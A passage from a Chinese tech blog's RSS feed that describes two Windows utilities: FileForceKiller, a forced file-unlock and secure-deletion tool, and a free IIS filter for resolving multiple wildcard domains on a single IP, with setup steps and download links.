暴力文件删除)。<br/><br/>FileForceKiller注册的系统右键菜单详细功能说明如下：<br/><br/>9.对上锁的文件，可以点击"解锁"按钮，强行解锁。<br/><br/>10.勾选"删除前自动解锁"，则会在删除文件前尝试对文件进行解锁。<br/><br/>11.勾选"删除前强行卸载模块"，如果要删除的文件正处于运行状态，则会强行卸载这个文件对应的模块。<br/><br/>12.点击"删除"按钮，则可对文件和目录进行删除，如果是目录则会连同子目录下的文件也一同删除，在删除文件前，会涂改/擦写文件占用的扇区，文件删除后，将彻底不可恢复。<br/><br/>13.自动检查更新和升级。<br/><br/>下载地址：<br/>http://u8.dswlab.com/FileForceKiller.zip<br/>http://update4.dswlab.com/FileForceKiller.zip<br/><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=%25E8%25B6%2585%25E7%25BA%25A7%25E5%25B7%25A1%25E8%25AD%25A6" rel="tag">超级巡警</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?372</link>
<title><![CDATA[单服务器无限泛域名解析工具-实现单IP捆绑解析多个泛域名]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[工具收集]]></category>
<pubDate>Thu, 28 Feb 2008 02:35:19 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?372</guid> 
<description>
<![CDATA[ 
	需要单服务器做多泛解析。找了这么个东西<br/>做个记号。还没来得急用。回头把试用情况报告一下先<br/>运行环境： <br/>该软件能运行在 Windows NT/2000/XP/2003 下，支持 IIS5/IIS6 <br/>该软件为免费软件，永久免费&nbsp;&nbsp;<br/>主要功能： <br/>解析无限个泛域名到不同的网站目录 <br/>解析二级域名到指定目录 <br/>主要用途： <br/>单个 IP 上捆绑解析多个泛域名，并且指向不同的网站目录下 <br/>简单解析二级域名使用 <br/><br/>[主要功能]<br/><br/>威盾泛域名解析器是一个 IIS 的 ISAPI 过滤器，安装后能实现单个IP捆绑解析多个泛域名。<br/><br/>[使用方法]<br/><br/>1，打开配置工具 VwPanDomainCfg.exe，如果 IIS 上没有配置泛域名解析，请先在 IIS 上配置，<br/>&nbsp;&nbsp; IIS 上配置泛域名的方法大家应该都了解，简单的方法是：在添加一个站点的时候不域名那里留空即可。<br/><br/>2，在 VwPanDomainCfg.exe 配置工具里，第一块配置区域是“IIS 上泛域名信息”。<br/>&nbsp;&nbsp; 如果 IIS 上的泛域名未配置 IP 地址，这里要配置一下。双击选中的行即可配置。<br/><br/>3，在 VwPanDomainCfg.exe 配置工具里，第二块配置区域是“泛域名解析器配置”。<br/>&nbsp;&nbsp; 首先，要加载过滤器，请点旁边的“安装”按钮来安装过滤器，等过滤器提示“已加载 IIS 过滤器”即可。<br/>&nbsp;&nbsp; 其次，要选中“开启多泛域名解析”，然后就是点下面的“配置”按钮配置了。<br/><br/>4，点“保存”按钮，保存配置，重启一下 IIS 即可。<br/><br/>这是官方下载链接：http://www.vidun.com/vwsoft.php?pn=vwpandomain&vi=download<br/>也有绿色版的。绿色版的就百度：<a href="http://www.baidu.com/s?ie=gb2312&bs=%CD%FE%B6%DC%B7%BA%D3%F2%C3%FB%BD%E2%CE%F6%C6%F7&sr=&z=&cl=3&f=8&tn=baidu&wd=%CD%FE%B6%DC%B7%BA%D3%F2%C3%FB%BD%E2%CE%F6%C6%F7&ct=0" target="_blank">威盾泛域名解析器</a><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=%25E6%25B3%259B%25E8%25A7%25A3%25E6%259E%2590" rel="tag">泛解析</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E5%25A8%2581%25E7%259B%25BE" rel="tag">威盾</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E6%259C%258D%25E5%258A%25A1%25E5%2599%25A8" rel="tag">服务器</a>
]]>
</description>
</item>
</channel>
</rss>